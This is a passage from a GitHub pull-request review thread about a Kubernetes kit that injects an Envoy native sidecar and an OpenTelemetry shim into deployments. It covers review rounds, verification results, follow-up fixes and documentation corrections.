the weather demo will take a demos row when it lands as its own PR).

We tested the kit end to end on a kind cluster while addressing the review: repeated bakes
across base-image layouts, attach → back-out round-trips, hostile inputs against each guard
(including a base image built to attack the interpreter detection), a real 1.28 apiserver
for the version story, and multi-service fleet turns with span-shape checks. Several
changes below came from that testing rather than from review threads.

The one change to read first: envoy-proxy is now a native sidecar (d63b6803)

A behavioral change we made without a review thread, found in testing: proxy-init
redirects the pod's egress the moment it runs, and with envoy as a plain container an app
that dials out at process start (peer discovery, a config fetch) reached the redirect
before envoy was listening — connection refused, pod "Running", the failure silent (an
agent fleet came up with 0 peers). The patch now emits envoy-proxy as an
initContainers entry with restartPolicy: Always and a startupProbe on the outbound
listener, so the kubelet holds the app until the proxy accepts. Reproduced both directions
on one cluster: native = first-boot 200 / 0 restarts; plain-container control = connection
refused with the pod 2/2 Running.

This resolves two of your threads better than our first cuts did:

  • MF-1 (merge prepends initContainers)
    — this is your option (b). The prepend is now correct: the owner's init containers run
    after envoy is up, with working egress, so the interim refusal and its override knob are
    gone.
  • S-1 (envoy becomes the default container)
    — with envoy in initContainers the app is the pod's sole regular container and already
    the default for kubectl logs/exec; no annotation needed.

It also sets the kit's floor at k8s ≥ 1.29. We first added a kubectl version parse
that refused older clusters; testing against a real v1.28.15 apiserver showed the parse
was guarding nothing — the server rejects the patch at validation (startupProbe: Forbidden: may not be set for init containers without restartPolicy=Always), loud, on
both routes. So the parse is gone and the existing server-side dry-run is the guard, with
a needs-1.29 hint when the rejection names those fields. Same commit: POD_IPS
(Downward API status.podIPs) is injected alongside POD_IP, which proxy-init prefers
for full dual-stack redirect.

The applier (e5c54a73)

  • MF-2 (volumes merge by name)
    — new precondition refuses a target owning an envoy-config/authbridge-runtime
    volume; the hazard is in the header's Refused list, README, and RECIPE step 0.
  • MF-6 (rollout undo reverts the owner's later changes)
    — back-out is now a reverse strategic-merge patch: $patch: delete on exactly what the
    attach added, plus the captured pre-attach image (the one field with no delete
    semantics). EMIT=undo regenerates it offline, so the line is reconstructible without
    scrollback. Verified live: attach → owner env bump → the printed line leaves the
    template equal to pre-attach plus the owner's change, where the old --to-revision
    line reverted it.
  • S-2 (compensation can delete a pre-existing CM),
    CR-4 (use kubectl create for the CM),
    CR-2 (pre-existing env var with valueFrom)
    — one mechanism answers all three: the fully merged patch is validated with
    --dry-run=server before the first write, so every rejection class (the invalid merged
    EnvVar included) fails with nothing applied; and the failure compensation deletes the
    ConfigMap only when this run created it. Bare create would have broken the documented
    re-run-after-platform-rewrite workflow, where the CM legitimately pre-exists.
  • S-3 (port check misses native sidecars)
    — the range now covers initContainers[*].ports[*]; this also closes the caveat
    @abigailgold raised in
    her comment.
  • S-4 (rollout failure leaves the object patched)
    — answered with the sentence, not compensation: a timed-out rollout is left patched on
    purpose. Kubernetes holds the blast (maxUnavailable keeps the old pod serving), the
    back-out line printed just above is the clean way out, and auto-undoing would fight a
    slow-but-healthy rollout while hiding the likely cause.
  • N-1 (seccompProfile)
    RuntimeDefault on both generated containers, container-level for the reason you
    gave; proxy-init verified live under it.
  • CR-1 (require TLS before payload capture)
    — a warning, not a refusal: the default endpoint is the in-cluster platform collector
    and plaintext OTLP in-cluster is the platform norm, so CAPTURE_IO=true over a
    non-https endpoint prints a one-time NOTE on stderr.

The bake (06f43585)

  • MF-5 (VENV_PYTHON injection + bare inspect)
    — the interpreter ref is validated against ^[A-Za-z0-9._/-]+$ before use (a detected
    candidate that fails is skipped, an explicit argument that fails is refused), both RUN
    lines quote the ARG, and the bare inspect calls are image inspect. We reproduced the
    injection first — a base image shipping python at a metacharacter path ran the payload
    inside the networked build on the old code — then confirmed the guard kills it.
  • S-5 (wrapper tag can be the base ref)
    — refused, compared on raw inputs and resolved forms; testing extended it to podman's
    localhost/ namespace, and detect_user now requires the image's id output to be
    numeric (a lying id is refused rather than trusted).
  • S-6 (interlock reads every failure as "safe to bake")
    — the probe prints a verdict (instrumented:<mods> / hook / clean) and exits 0
    whenever it ran, find_spec wrapped per module so "clean" is deliberate; the guard
    refuses on a non-zero exit, a positive verdict, or unexpected output.
  • S-8 (silent uid default; USER rewrite undocumented)
    — APP_UID/APP_GID lose their defaults and a build-time guard refuses an empty value (an
    empty USER : resolves to root on podman rather than failing, so the guard is
    explicit); DESIGN documents the named→numeric USER rewrite, and the "attests both
    halves" claim is softened to what verify_inert/verify_propagates actually prove.
  • N-2 (tar signal leak + CONTAINER_TOOL validation)
    — the archive is cleaned on RETURN and on INT/TERM with the signal re-raised, and
    CONTAINER_TOOL is validated against podman/docker. (The first cut of this fix broke
    kind_load on podman; the trap layering in the commit is the corrected one, proven by
    real bakes.)

Docs (fbff6753)

Declined, with reasons

  • CR-3 (set -euo pipefail in the sourced file)
    container-runtime.sh is a sourced library: it uses return, not exit, its only
    caller already runs under set -euo pipefail, and setting shell options inside a
    sourced file mutates the caller's shell. The repo's sibling sourced library
    (authbridge/demos/hr-cpex/scenarios/_lib.sh) follows the same convention.

Known follow-ups, deliberately not in this PR

  • A CI-able generator test (the generator is a pure env→stdout function: golden outputs +
    a kubectl patch --local attach→undo round-trip + refusal exit codes would run with no
    cluster).
  • A failed re-attach can leave an updated ConfigMap that running pods hot-reload —
    accepted: a rare post-dry-run race, the CM is deterministic, and deleting a CM that
    running pods project is deliberately avoided.

The PR body is updated to match (six preconditions, the native sidecar and the ≥ 1.29
requirement, the reverse-patch back-out, current line counts).

Round 2. All six must-fixes from my last pass are resolved, and every suggestion and nit with them. I verified each against the code and the generator's real output rather than against the commit messages.

Prior must-fix Fix How I checked it
Strategic merge prepends proxy-init ahead of the owner's own init containers, and envoy-proxy was a regular container that could not start until every init completed — so the owner's inits ran with egress redirected to nothing envoy-proxy is now a native sidecar (restartPolicy: Always + startupProbe on 15123) emitted adjacent to proxy-init kubectl patch --local v1.33.2 against a target carrying a wait-for-db init: merged order is [proxy-init, envoy-proxy, wait-for-db], and native-sidecar semantics hold wait-for-db until the startup probe passes. The failure I described is gone
Volumes merge by name → a pre-existing envoy-config volume silently repointed, items replaced wholesale refuse_volume_collision precondition on both names sidecar-patch.sh:119-136
rollout undo --to-revision=N restores a whole earlier pod template and silently reverts the owner's later changes replaced by a generated reverse patch (EMIT=undo) round-tripped it end to end. target → patch → undo restores initContainers, volumes, the app image and the env list exactly, in both the capture-only and the APP_CONTAINER+APP_IMAGE shapes, with pre-existing env vars preserved in order
VENV_PYTHON sourced from a hostile image's VIRTUAL_ENV reached two unquoted shell-form RUN lines safe_interpreter_ref on detected and explicit values, plus the Dockerfile now quotes the ARG read both sinks; --python "${VENV_PYTHON}" and sp="$("${VENV_PYTHON}" …)" are quoted — defence at both layers
SIDECAR_IMAGE default promised graceful degradation, but plugins.Build fails closed on an unknown name the header now states the crashloop plainly fixed — though the correction has since gone stale in your favour; see comment 2
NAMESPACE silently defaulted to team1, documented nowhere stated in the script header and README confirmed

And the suggestions: seccompProfile: RuntimeDefault on both generated containers, the cm_existed guard so compensation only deletes a ConfigMap this run created, the port check now ranging initContainers[*].ports[*], norm_ref closing the wrapper-tag-is-the-base hole across all three local spellings, the interlock distinguishing "the probe says no" from "the probe did not run", APP_UID/APP_GID with no default plus a guard RUN, INT/TERM traps on the multi-GB podman save archive, and CONTAINER_TOOL validated before the bake instead of after both attestations.

Verified clean — by running it, not by reading it

Check Result
.claude / .vscode supply-chain gate no matches (adds and renames)
Secrets in diff none
CI 22/22 pass
shellcheck --severity=error (as Security Scans runs it) ran 0.11.0 over all four scripts: exit 0. At default severity only SC2016 ×2 and SC1007 ×2, both intentional (the literal $patch in the undo JSON; the deliberate empty APP_IMAGE= env prefix)
yaml_safe tested 13 values: refuses ", ', \, whitespace, control chars. It allows $( ), backticks, ;, |, & — and that is correct: I traced every sink, and each is either a double-quoted YAML/JSON scalar or the one single-quoted shell line, none of which re-evaluate. The comment's "refusing those three is exactly sufficient" holds
Input validation 18 hostile cases across every knob — all refused, and the exit scheme is exact: missing NAME/DEPLOY → 1, validated-input refusal → 2, bake refuse-to-wrap → 3, attestation → 4
Six preconditions all six implemented in preconditions(); none implemented-but-unclaimed
Generated ConfigMap validity RequiresAny is satisfied — all three parsers precede lineage-telemetry, which matters because the registry requires every configured parser to be earlier, not just one. No per-plugin direction enforcement exists anywhere in the framework, so the same chain in both directions is legal (the generated comment already pre-empts the question). The envoy-sidecar preset fills ext_proc_addr: :9090, matching the emitted containerPort
Dockerfile.otel-shim uv pinned by digest; exactly 8 instrumentors + -distro, all at one pinned contrib version; the interlock's probe list is the identical 8; USER ${APP_UID}:${APP_GID} restores non-root
Propagate hook env-gated, setdefault so a deliberate override still wins, broad-except so it cannot take the app down — absent lineage, never wrong lineage

Worth recording: because the kit always emits self_id explicitly, it is immune to the self_id_file boot failure I raised on #761. That is a real benefit of this design, and it is the reason comment 3 matters.

One thing outside the diff: nothing anywhere in the repo references authbridge/lineage-attach/. A nine-file kit that no index points to is hard to find on purpose — worth a line in authbridge/CLAUDE.md's directory tree or the demos index when the demo PR lands.

I also dropped a finding before writing this. RECIPE.md's step-0 table looks at first like it under-describes the script's six preconditions, but it is a manual operator checklist with its own command column — two of its rows are checks the operator runs by hand and the script never claims to make. It is coherent as written.

Summary

The four comments below are all non-blocking. Three are one-line documentation corrections; comment 1 is a real gap in the bake's attestation that I would want closed before this kit is used on anything load-bearing, but it is a follow-up, not a merge blocker.

suggestion — the two attestations prove the shim works. Neither proves the app still does.

This installs opentelemetry-distro plus eight instrumentors into the app's own environment, with no --no-deps and no constraint file. Resolution is therefore free to move whatever else lives there to satisfy those pins — wrapt, deprecated, importlib-metadata, typing-extensions are the usual suspects, and they are exactly the packages an app is likely to have pinned itself.

The attestations cannot see that. verify_inert runs -c 'import sys; …' and asserts no opentelemetry module loaded; verify_propagates imports only OpenTelemetry. Neither imports a single line of the app. So a bake that quietly downgraded a dependency the app needs passes both gates green, gets kind-loaded, and first shows up as an ImportError in the cluster — after the attach, where it looks like the sidecar's fault.

This matters more here than it would elsewhere because of what the kit promises. publish prints "the -otel image is INERT — it runs exactly like its base until a Deployment sets LINEAGE_PROPAGATE=1", and the gate genuinely does deliver that at runtime. But the install changes the image's dependency graph whether or not the gate is ever flipped, so "runs exactly like its base" is a claim about behaviour that the packaging step can invalidate underneath it.

The cheap close is one line after the install:

RUN uv pip check --python "${VENV_PYTHON}" --system

uv pip check reports broken requirements in the resolved environment, so a conflict the bake introduced fails the build instead of the pod. It costs nothing on a clean image and turns the failure mode from "debug it in the cluster" into "the bake refused", which is the posture the rest of this script already takes.

If you want the stronger version, --no-deps plus an explicit pin of the shared OTel core would make the install's footprint exactly enumerable — but that is a bigger change and uv pip check catches the case that actually bites.

suggestion — this warning is now stale, and stale in your favour: the native-sidecar change fixed the failure it describes.

"the workload is down, not merely un-instrumented" was accurate when envoy-proxy was a regular container. It is not accurate now. Trace it through the current shape:

  1. plugins.Build fails closed on the unregistered lineage-telemetry; the binary exits.
  2. envoy-proxy is an initContainer with restartPolicy: Always, so it restarts — CrashLoopBackOff — and its startupProbe on 15123 never passes.
  3. The kubelet therefore never starts the app container. The new pod never becomes Ready.
  4. Under a rolling update the new ReplicaSet cannot progress, so the old pods keep serving. kubectl rollout status --timeout=180s fails, and sidecar-patch.sh:225 already printed the back-out line before the wait.

So the observable outcome on the default path is a stalled rollout with the previous pods still taking traffic — which is the contained failure the native sidecar was introduced to produce. The one shape where "the workload is down" still holds is strategy: Recreate, where the old pods are deleted before the new one is tried; that is worth naming explicitly, because it is the case an operator would want to know about before attaching.

Separately, and the reason I am raising this on the code rather than only in the doc: this script refuses roughly fourteen foreseeable mistakes — a stale knob, APP_IMAGE without APP_CONTAINER, RESTORE_IMAGE in the wrong mode, a port with a leading zero — yet it proceeds happily with an image whose own header says it crashloops. That asymmetry is the thing I would change. Something like: if SIDECAR_IMAGE is still the default and NO_EMIT != 1, refuse and point at RECIPE.md step 1 or NO_EMIT=1. Three lines, and it matches how the script treats every other foreseeable misuse. Once a release carries the plugin the guard's condition simply stops being true, so it does not become debt.

suggestion — two claims in this block are not what the generator emits, and the second is the more interesting one.

bypass_paths / bypass_hosts are not kit knobs. The string bypass appears zero times across all four scripts — I grepped each. build_plugin_entry (attach-lineage.sh:225-240) emits exactly otel_endpoint, capture_io, self_id, and optionally max_payload_bytes. Listing them in the emitted-config block, and then describing them in the paragraph below beside OUTBOUND_PORTS_EXCLUDE — which is a real knob — reads as three settings an operator can reach when only one is.

The behaviour you describe is real: the plugin's own defaults do keep agent-card discovery, health probes and telemetry backends out. But there is a genuine capability gap underneath the wording, because setting either key replaces the plugin's default list rather than extending it. So an operator who needs one extra bypass host has no path through this kit at all: hand-editing the generated ConfigMap works until the next attach or back-out overwrites it. Either pass the two through as optional knobs (they would emit exactly like max_payload_bytes does), or say plainly that the plugin's defaults apply and are not adjustable from here.

self_id never falls back. SELF_ID="${SELF_ID:-$NAME}" (attach-lineage.sh:140) always has a value, and :235 emits it unconditionally, so self_id_file can never fire on a ConfigMap this kit generated.

That one is worth correcting rather than deleting, because the always-set behaviour is a real strength and this comment currently hides it. On #761 I flagged that an unreadable self_id_file — default /shared/client-id.txt, the operator-mounted credential that races its own Secret — fails the plugin's Init, and a plugin Init error reaches log.Fatalf, taking the whole sidecar with it. By always emitting self_id, this kit never touches that path. Saying so ("always set from SELF_ID, defaulting to the Deployment name; the plugin's self_id_file fallback is deliberately never used") documents a deliberate safety property instead of pointing readers at a mechanism that would be worse.

So `envoy-proxy` is emitted as a **native sidecar**: an `initContainers` entry
with `restartPolicy: Always` and a `startupProbe` on the outbound listener. The
merge prepends it (with `proxy-init`) ahead of the owner's own init containers,

nit — the ordering argument is sound but rests on the wrong fact, and the real one is sturdier.

I verified the prepend: kubectl patch --local v1.33.2 on a target carrying wait-for-db yields [proxy-init, envoy-proxy, wait-for-db], so this sentence describes what actually happens today. But placement of patch-only items in a merge-keyed list is strategic-merge-patch behaviour that the kit does not encode — there is no $setElementOrder in emit_patch — and it is not a documented stability guarantee, so a safety property should not be resting on it.

It does not need to. The property that actually protects the owner's init containers is that proxy-init and envoy-proxy are adjacent in the patch, and both possible placements are safe:

  • prepended → [proxy-init, envoy-proxy, wait-for-db]: egress is redirected, the proxy comes up and its startup probe passes, then wait-for-db runs against a working proxy.
  • appended → [wait-for-db, proxy-init, envoy-proxy]: wait-for-db runs before any redirect exists, on ordinary pod networking.

The only arrangement that breaks is an owner init container landing between the two — and that cannot arise from a merge, because the two travel as one block; the only way to get an owner container in between is for the target to already own one of those two names, which refuse_name_collision refuses outright.

So the guarantee is "adjacent, plus the name-collision precondition", which the kit does control, rather than "the merge prepends", which it does not. Same conclusion, and it stops depending on apiserver behaviour that could change without anyone noticing.

…l, doc truth)

All four round-2 comments, in one commit:

- Dependency conflicts fail the bake: the instrumentor install resolves into
  the app's own environment and can move a package an app dependency pins,
  which neither attestation sees (they import only OpenTelemetry). Added the
  suggested `uv pip check` right after the install — a conflict the bake
  introduced fails the BUILD, not the pod. Verified both ways: a broken
  graph (deprecated present, wrapt removed) fails the step naming the
  incompatibility; a clean bake passes and attests end to end.

- The plugin-less published default SIDECAR_IMAGE is refused: EMIT=patch
  with the default and NO_EMIT != 1 exits 2, pointing at RECIPE step 1 or
  NO_EMIT=1 — scoped to patch, since the ConfigMap and reverse patch carry
  no image and a back-out must never be blocked; delete the guard when a
  release carries lineage-telemetry. The header and README caveat are
  rewritten to the actual failure shape with the native sidecar: the
  crashlooping sidecar holds the app, the rollout stalls, the OLD pods keep
  serving; strategy: Recreate is the one shape where the workload is down.

- README config block trued: bypass_paths/bypass_hosts are not kit knobs —
  the plugin's defaults apply and are not adjustable from here (setting the
  keys replaces the default list; a hand-edited ConfigMap lasts until the
  next attach rewrites it). self_id documented as the guarantee it is:
  always set from SELF_ID (default: the Deployment name), the plugin's
  self_id_file fallback deliberately never used.

- DESIGN's init-ordering safety rests on facts the kit controls: proxy-init
  and envoy-proxy travel adjacent in one patch and both placements are safe
  (prepended: owner inits run after the proxy is up; appended: before any
  redirect exists); the breaking arrangement — an owner init between them —
  cannot arise without the target owning one of the names, which
  refuse_name_collision refuses. The prepend is demoted to what the
  apiserver does today.

All four addressed in e6f9ccc1:

  • uv pip check after the install, as suggested — verified red (broken graph fails the build) and green (clean bake attests end to end).
  • EMIT=patch now refuses the plugin-less default SIDECAR_IMAGE (patch-only, so a back-out is never blocked); failure story trued, strategy: Recreate named.
  • README: bypass keys out of the emitted block, plugin defaults stated non-adjustable; self_id documented as always-set, self_id_file deliberately never used.
  • DESIGN: ordering rests on adjacency + refuse_name_collision, not the prepend.

Body refreshed to match. The discoverability line lands with the weather-demo PR.

Make rollback conflict-aware before claiming it preserves later changes.

The reverse patch restores the pre-attach app image and deletes LINEAGE_PROPAGATE by name. If the owner changes either field after attachment, back-out can overwrite that newer state. Add a current-state precondition before applying the reverse patch, or document that both fields can be overwritten during back-out.

Define the operator startup guarantee for enrolled workloads.

When the AgentRuntime route leaves self_id unset, the plugin uses the operator-mounted self_id_file. This fallback can race its Secret and fail sidecar startup. Document that the file exists before plugin initialization, or configure an explicit identity with a defined startup order. Otherwise, the workload can enter CrashLoopBackOff.

Rebased on main after rossoctl#852 merged; the demo is the only change now.
Reviewer findings (huang195 2026-09-03, CodeRabbit 2026-09-08) and a
re-run of every step against the merged kit on kind (k8s 1.35):

- KIT was prose only; the prerequisites block now exports it.
- The tool's OTLP endpoint is stated in weather.yaml. The premise that
  nothing left the pod without it was wrong: the tool's code defaults
  the endpoint to the collector's 8335, and 4 tool spans arrive in the
  propagated trace (82 app spans: 78 agent + 4 tool). Explicit is
  better than a default hidden in the image, so it is set anyway.
- Step 2's expected output and step 6 followed the pre-merge kit
  (`rollout undo --to-revision`); the merged kit backs out with a
  reverse strategic patch. Step 6 runs it (regenerated with EMIT=undo)
  and drops step 4's variable.
- show-trace.py: kubectl's error is printed instead of a traceback; a
  span block without a parseable start time is skipped and reported
  rather than widening the stray window to the start of the log; a
  captured value (input.value / output.value, printed verbatim) holding
  a fact-shaped line can no longer relabel a span — first occurrence
  wins for every fact the plugin emits before the captured value, last
  for lineage.parent.source, repeats reported; usage names --namespace
  and the exit codes; the FRAGMENTED line names the outbound-root case.
- ask.sh: a failed request prints what arrived and exits 1, not a
  traceback.
- README: index row says 19 traces, not 35 (the exchange count);
  `set env -c agent`; the three collector ports (8335 apps, 4317
  plugin, 4318 dead) and bypass_hosts covering both pods' exports;
  CAPTURE_IO's log boundary (demo only); a real LLM key belongs in a
  Secret; RBAC per step; k8s 1.29 prerequisite; RECIPE step 1 runs from
  the kit's directory; the interlock probe needs the image pulled; the
  counts are one run's and the shape is the invariant; `--since` window
  first in troubleshooting; ENTRY ONLY named where FRAGMENTED was
  promised; the Keycloak "all demos" claims exempt this demo.
